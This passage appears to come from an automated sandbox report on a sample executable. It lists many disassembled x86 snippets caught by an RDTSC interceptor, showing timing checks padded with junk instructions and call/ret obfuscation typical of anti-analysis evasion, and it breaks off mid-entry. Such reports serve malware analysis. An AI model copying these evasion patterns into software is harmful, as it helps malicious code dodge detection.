Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932912 second address: 932918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932A92 second address: 932A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932A96 second address: 932AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FEBF90902F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932AB3 second address: 932AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932AB9 second address: 932AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FEBF90902E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932AC7 second address: 932ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932BFF second address: 932C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932C03 second address: 932C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932C07 second address: 932C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932C0D second address: 932C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932DAB second address: 932DBE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FEBF90902ECh 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932DBE second address: 932DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FEBF907CE56h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 jmp 00007FEBF907CE63h 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936A50 second address: 936A5A instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBF90902E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936A5A second address: 936A75 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEBF907CE60h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936B83 second address: 936BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEBF90902F8h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e sbb cx, 6002h 0x00000013 jmp 00007FEBF90902EAh 0x00000018 push 00000000h 0x0000001a clc 0x0000001b call 00007FEBF90902E9h 0x00000020 jmp 00007FEBF90902EBh 0x00000025 push eax 0x00000026 pushad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936BCF second address: 936BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FEBF907CE68h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936BF8 second address: 936BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936BFC second address: 936C99 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jc 00007FEBF907CE62h 0x00000013 jnl 00007FEBF907CE5Ch 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push edi 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jc 00007FEBF907CE56h 0x00000027 popad 0x00000028 pop edi 0x00000029 pop eax 0x0000002a call 00007FEBF907CE5Fh 0x0000002f mov esi, dword ptr [ebp+122D2AB6h] 0x00000035 pop edi 0x00000036 push 00000003h 0x00000038 sub edx, 0188C870h 0x0000003e push 00000000h 0x00000040 add dword ptr [ebp+122D1EA1h], edi 0x00000046 mov edx, dword ptr [ebp+122D2764h] 0x0000004c push 00000003h 0x0000004e push A1C748F3h 0x00000053 jmp 00007FEBF907CE60h 0x00000058 add dword ptr [esp], 1E38B70Dh 0x0000005f mov cx, di 0x00000062 lea ebx, dword ptr [ebp+1245A8BAh] 0x00000068 jl 00007FEBF907CE5Eh 0x0000006e mov dword ptr [ebp+122D368Ch], ebx 0x00000074 push eax 0x00000075 push ebx 0x00000076 push eax 0x00000077 push edx 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936C99 second address: 936C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936E1A second address: 936E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936E20 second address: 936E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947925 second address: 94792A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94792A second address: 947930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 920AF1 second address: 920AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 920AF7 second address: 920B07 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEBF90902E6h 0x00000008 jne 00007FEBF90902E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95420A second address: 954210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954210 second address: 954214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95436F second address: 954375 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954375 second address: 95437B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9544DA second address: 9544E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9544E0 second address: 9544E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954918 second address: 95491E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95491E second address: 95492C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007FEBF90902E6h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954AB2 second address: 954AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954AB6 second address: 954ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954C0A second address: 954C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FEBF907CE56h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954C19 second address: 954C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954C1D second address: 954C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A08 second address: 955A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A0E second address: 955A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A12 second address: 955A37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902EEh 0x00000007 jmp 00007FEBF90902EFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A37 second address: 955A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A3B second address: 955A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEBF90902F1h 0x0000000f jnp 00007FEBF90902E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A5C second address: 955A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A60 second address: 955A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FEBF90902F2h 0x00000011 js 00007FEBF90902E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A79 second address: 955A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A80 second address: 955A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955A87 second address: 955A93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEBF907CE56h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955BED second address: 955C0F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007FEBF90902F8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955DB0 second address: 955DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEBF907CE5Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B3D7 second address: 95B423 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEBF90902F3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jmp 00007FEBF90902F3h 0x00000011 pop esi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnp 00007FEBF90902F4h 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B423 second address: 95B427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F104 second address: 91F11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FEBF90902ECh 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9607A1 second address: 9607A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960948 second address: 960958 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEBF90902E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960958 second address: 96095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96095E second address: 960962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960AAB second address: 960AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962F8B second address: 962FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jno 00007FEBF90902EEh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962FA9 second address: 963066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jl 00007FEBF907CE56h 0x0000000c jmp 00007FEBF907CE66h 0x00000011 popad 0x00000012 popad 0x00000013 pop eax 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FEBF907CE58h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1FB0h], edi 0x00000034 call 00007FEBF907CE59h 0x00000039 jmp 00007FEBF907CE5Ah 0x0000003e push eax 0x0000003f ja 00007FEBF907CE72h 0x00000045 mov eax, dword ptr [esp+04h] 0x00000049 pushad 0x0000004a jmp 00007FEBF907CE5Ch 0x0000004f jmp 00007FEBF907CE61h 0x00000054 popad 0x00000055 mov eax, dword ptr [eax] 0x00000057 jmp 00007FEBF907CE5Eh 0x0000005c mov dword ptr [esp+04h], eax 0x00000060 pushad 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963066 second address: 96307E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902EFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96307E second address: 963082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963082 second address: 963086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963726 second address: 96372A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963B29 second address: 963B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963BE5 second address: 963BF7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963DD4 second address: 963DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963DD9 second address: 963DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963E9B second address: 963EA5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBF90902ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964091 second address: 964096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9641B7 second address: 9641BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9641BC second address: 9641C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92406F second address: 924074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924074 second address: 92407A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96776C second address: 967770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 967770 second address: 967774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 967774 second address: 96778A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007FEBF90902EBh 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96778A second address: 9677FD instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEBF907CE58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FEBF907CE58h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov dword ptr [ebp+1245AF03h], esi 0x0000002b pushad 0x0000002c mov bl, al 0x0000002e pushad 0x0000002f movzx ebx, ax 0x00000032 popad 0x00000033 popad 0x00000034 push 00000000h 0x00000036 add si, 78B0h 0x0000003b jnl 00007FEBF907CE5Ch 0x00000041 push 00000000h 0x00000043 mov edi, dword ptr [ebp+122D29E6h] 0x00000049 xchg eax, ebx 0x0000004a push eax 0x0000004b pushad 0x0000004c push edi 0x0000004d pop edi 0x0000004e jne 00007FEBF907CE56h 0x00000054 popad 0x00000055 pop eax 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jg 00007FEBF907CE56h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9677FD second address: 967810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 967810 second address: 967816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9682B7 second address: 9682D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A4FF second address: 96A504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AFA4 second address: 96AFAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AFAA second address: 96AFB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AFB8 second address: 96AFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E0F6 second address: 96E0FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96F199 second address: 96F19E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97110A second address: 971171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FEBF907CE58h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov bl, 87h 0x00000027 push 00000000h 0x00000029 call 00007FEBF907CE68h 0x0000002e mov ebx, esi 0x00000030 pop ebx 0x00000031 mov edi, dword ptr [ebp+122D2AEEh] 0x00000037 push 00000000h 0x00000039 mov bl, ah 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 push edx 0x00000041 pop edx 0x00000042 popad 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 pop eax 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971171 second address: 971175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E334 second address: 96E3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FEBF907CE56h 0x0000000a popad 0x0000000b push ecx 0x0000000c jl 00007FEBF907CE56h 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007FEBF907CE60h 0x0000001a nop 0x0000001b mov dword ptr [ebp+122D1F58h], ecx 0x00000021 mov dword ptr [ebp+1245AB9Bh], edi 0x00000027 push dword ptr fs:[00000000h] 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FEBF907CE58h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 mov edi, edx 0x0000004a mov dword ptr fs:[00000000h], esp 0x00000051 sbb bh, 00000000h 0x00000054 mov eax, dword ptr [ebp+122D0E8Dh] 0x0000005a jmp 00007FEBF907CE5Fh 0x0000005f push FFFFFFFFh 0x00000061 push 00000000h 0x00000063 push ecx 0x00000064 call 00007FEBF907CE58h 0x00000069 pop ecx 0x0000006a mov dword ptr [esp+04h], ecx 0x0000006e add dword ptr [esp+04h], 0000001Ch 0x00000076 inc ecx 0x00000077 push ecx 0x00000078 ret 0x00000079 pop ecx 0x0000007a ret 0x0000007b cld 0x0000007c nop 0x0000007d push ecx 